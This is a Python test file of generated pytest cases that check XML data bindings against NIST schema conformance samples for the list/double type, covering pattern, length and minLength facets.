def test_list_double_pattern_1_nistxml_sv_iv_list_double_pattern_2_1(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1} \.\d{7}E\d{1}
\d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3} \d{1}\.\d{12}E\-\d{3}
\d{1}\.\d{14}E\-\d{2} \d{1}\.\d{16}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-2-1.xml",
class_name="NistschemaSvIvListDoublePattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_1_nistxml_sv_iv_list_double_pattern_2_2(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1} \.\d{7}E\d{1}
\d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3} \d{1}\.\d{12}E\-\d{3}
\d{1}\.\d{14}E\-\d{2} \d{1}\.\d{16}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-2-2.xml",
class_name="NistschemaSvIvListDoublePattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_1_nistxml_sv_iv_list_double_pattern_2_3(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1} \.\d{7}E\d{1}
\d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3} \d{1}\.\d{12}E\-\d{3}
\d{1}\.\d{14}E\-\d{2} \d{1}\.\d{16}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-2-3.xml",
class_name="NistschemaSvIvListDoublePattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_1_nistxml_sv_iv_list_double_pattern_2_4(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1} \.\d{7}E\d{1}
\d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3} \d{1}\.\d{12}E\-\d{3}
\d{1}\.\d{14}E\-\d{2} \d{1}\.\d{16}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-2-4.xml",
class_name="NistschemaSvIvListDoublePattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_1_nistxml_sv_iv_list_double_pattern_2_5(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1} \.\d{7}E\d{1}
\d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3} \d{1}\.\d{12}E\-\d{3}
\d{1}\.\d{14}E\-\d{2} \d{1}\.\d{16}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-2-5.xml",
class_name="NistschemaSvIvListDoublePattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_nistxml_sv_iv_list_double_pattern_1_1(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \.\d{4}E\-\d{2} \d{1}\.\d{6}E\-\d{1} \d{1}\.\d{9}E\d{1}
\d{13}E\d{2} \d{1}\.\d{16}E\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-1-1.xml",
class_name="NistschemaSvIvListDoublePattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_nistxml_sv_iv_list_double_pattern_1_2(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \.\d{4}E\-\d{2} \d{1}\.\d{6}E\-\d{1} \d{1}\.\d{9}E\d{1}
\d{13}E\d{2} \d{1}\.\d{16}E\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-1-2.xml",
class_name="NistschemaSvIvListDoublePattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_nistxml_sv_iv_list_double_pattern_1_3(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \.\d{4}E\-\d{2} \d{1}\.\d{6}E\-\d{1} \d{1}\.\d{9}E\d{1}
\d{13}E\d{2} \d{1}\.\d{16}E\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-1-3.xml",
class_name="NistschemaSvIvListDoublePattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_nistxml_sv_iv_list_double_pattern_1_4(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \.\d{4}E\-\d{2} \d{1}\.\d{6}E\-\d{1} \d{1}\.\d{9}E\d{1}
\d{13}E\d{2} \d{1}\.\d{16}E\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-1-4.xml",
class_name="NistschemaSvIvListDoublePattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_nistxml_sv_iv_list_double_pattern_1_5(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \.\d{4}E\-\d{2} \d{1}\.\d{6}E\-\d{1} \d{1}\.\d{9}E\d{1}
\d{13}E\d{2} \d{1}\.\d{16}E\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-1-5.xml",
class_name="NistschemaSvIvListDoublePattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_4_nistxml_sv_iv_list_double_length_5_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-5-1.xml",
class_name="NistschemaSvIvListDoubleLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_4_nistxml_sv_iv_list_double_length_5_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-5-2.xml",
class_name="NistschemaSvIvListDoubleLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_4_nistxml_sv_iv_list_double_length_5_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-5-3.xml",
class_name="NistschemaSvIvListDoubleLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_4_nistxml_sv_iv_list_double_length_5_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-5-4.xml",
class_name="NistschemaSvIvListDoubleLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_4_nistxml_sv_iv_list_double_length_5_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-5-5.xml",
class_name="NistschemaSvIvListDoubleLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_3_nistxml_sv_iv_list_double_length_4_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-4-1.xml",
class_name="NistschemaSvIvListDoubleLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_3_nistxml_sv_iv_list_double_length_4_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-4-2.xml",
class_name="NistschemaSvIvListDoubleLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_3_nistxml_sv_iv_list_double_length_4_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-4-3.xml",
class_name="NistschemaSvIvListDoubleLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_3_nistxml_sv_iv_list_double_length_4_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-4-4.xml",
class_name="NistschemaSvIvListDoubleLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_3_nistxml_sv_iv_list_double_length_4_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-4-5.xml",
class_name="NistschemaSvIvListDoubleLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_2_nistxml_sv_iv_list_double_length_3_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-3-1.xml",
class_name="NistschemaSvIvListDoubleLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_2_nistxml_sv_iv_list_double_length_3_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-3-2.xml",
class_name="NistschemaSvIvListDoubleLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_2_nistxml_sv_iv_list_double_length_3_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-3-3.xml",
class_name="NistschemaSvIvListDoubleLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_2_nistxml_sv_iv_list_double_length_3_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-3-4.xml",
class_name="NistschemaSvIvListDoubleLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_2_nistxml_sv_iv_list_double_length_3_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-3-5.xml",
class_name="NistschemaSvIvListDoubleLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_1_nistxml_sv_iv_list_double_length_2_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-2-1.xml",
class_name="NistschemaSvIvListDoubleLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_1_nistxml_sv_iv_list_double_length_2_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-2-2.xml",
class_name="NistschemaSvIvListDoubleLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_1_nistxml_sv_iv_list_double_length_2_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-2-3.xml",
class_name="NistschemaSvIvListDoubleLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_1_nistxml_sv_iv_list_double_length_2_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-2-4.xml",
class_name="NistschemaSvIvListDoubleLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_1_nistxml_sv_iv_list_double_length_2_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-2-5.xml",
class_name="NistschemaSvIvListDoubleLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_nistxml_sv_iv_list_double_length_1_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-1-1.xml",
class_name="NistschemaSvIvListDoubleLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_nistxml_sv_iv_list_double_length_1_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-1-2.xml",
class_name="NistschemaSvIvListDoubleLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_nistxml_sv_iv_list_double_length_1_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-1-3.xml",
class_name="NistschemaSvIvListDoubleLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_nistxml_sv_iv_list_double_length_1_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-1-4.xml",
class_name="NistschemaSvIvListDoubleLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_length_nistxml_sv_iv_list_double_length_1_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-length-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-length-1-5.xml",
class_name="NistschemaSvIvListDoubleLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_4_nistxml_sv_iv_list_double_min_length_5_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-5-1.xml",
class_name="NistschemaSvIvListDoubleMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_4_nistxml_sv_iv_list_double_min_length_5_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-5-2.xml",
class_name="NistschemaSvIvListDoubleMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_4_nistxml_sv_iv_list_double_min_length_5_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-5-3.xml",
class_name="NistschemaSvIvListDoubleMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_4_nistxml_sv_iv_list_double_min_length_5_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-5-4.xml",
class_name="NistschemaSvIvListDoubleMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_4_nistxml_sv_iv_list_double_min_length_5_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-5-5.xml",
class_name="NistschemaSvIvListDoubleMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_3_nistxml_sv_iv_list_double_min_length_4_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-4-1.xml",
class_name="NistschemaSvIvListDoubleMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_3_nistxml_sv_iv_list_double_min_length_4_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-4-2.xml",
class_name="NistschemaSvIvListDoubleMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_3_nistxml_sv_iv_list_double_min_length_4_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-4-3.xml",
class_name="NistschemaSvIvListDoubleMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_3_nistxml_sv_iv_list_double_min_length_4_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-4-4.xml",
class_name="NistschemaSvIvListDoubleMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_3_nistxml_sv_iv_list_double_min_length_4_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-4-5.xml",
class_name="NistschemaSvIvListDoubleMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_2_nistxml_sv_iv_list_double_min_length_3_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-3-1.xml",
class_name="NistschemaSvIvListDoubleMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_2_nistxml_sv_iv_list_double_min_length_3_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-3-2.xml",
class_name="NistschemaSvIvListDoubleMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_2_nistxml_sv_iv_list_double_min_length_3_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-3-3.xml",
class_name="NistschemaSvIvListDoubleMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_2_nistxml_sv_iv_list_double_min_length_3_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-3-4.xml",
class_name="NistschemaSvIvListDoubleMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_2_nistxml_sv_iv_list_double_min_length_3_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-3-5.xml",
class_name="NistschemaSvIvListDoubleMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_1_nistxml_sv_iv_list_double_min_length_2_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-2-1.xml",
class_name="NistschemaSvIvListDoubleMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_1_nistxml_sv_iv_list_double_min_length_2_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-2-2.xml",
class_name="NistschemaSvIvListDoubleMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_1_nistxml_sv_iv_list_double_min_length_2_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-2-3.xml",
class_name="NistschemaSvIvListDoubleMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_1_nistxml_sv_iv_list_double_min_length_2_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-2-4.xml",
class_name="NistschemaSvIvListDoubleMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_1_nistxml_sv_iv_list_double_min_length_2_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-2-5.xml",
class_name="NistschemaSvIvListDoubleMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_nistxml_sv_iv_list_double_min_length_1_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-1-1.xml",
class_name="NistschemaSvIvListDoubleMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_nistxml_sv_iv_list_double_min_length_1_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-1-2.xml",
class_name="NistschemaSvIvListDoubleMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
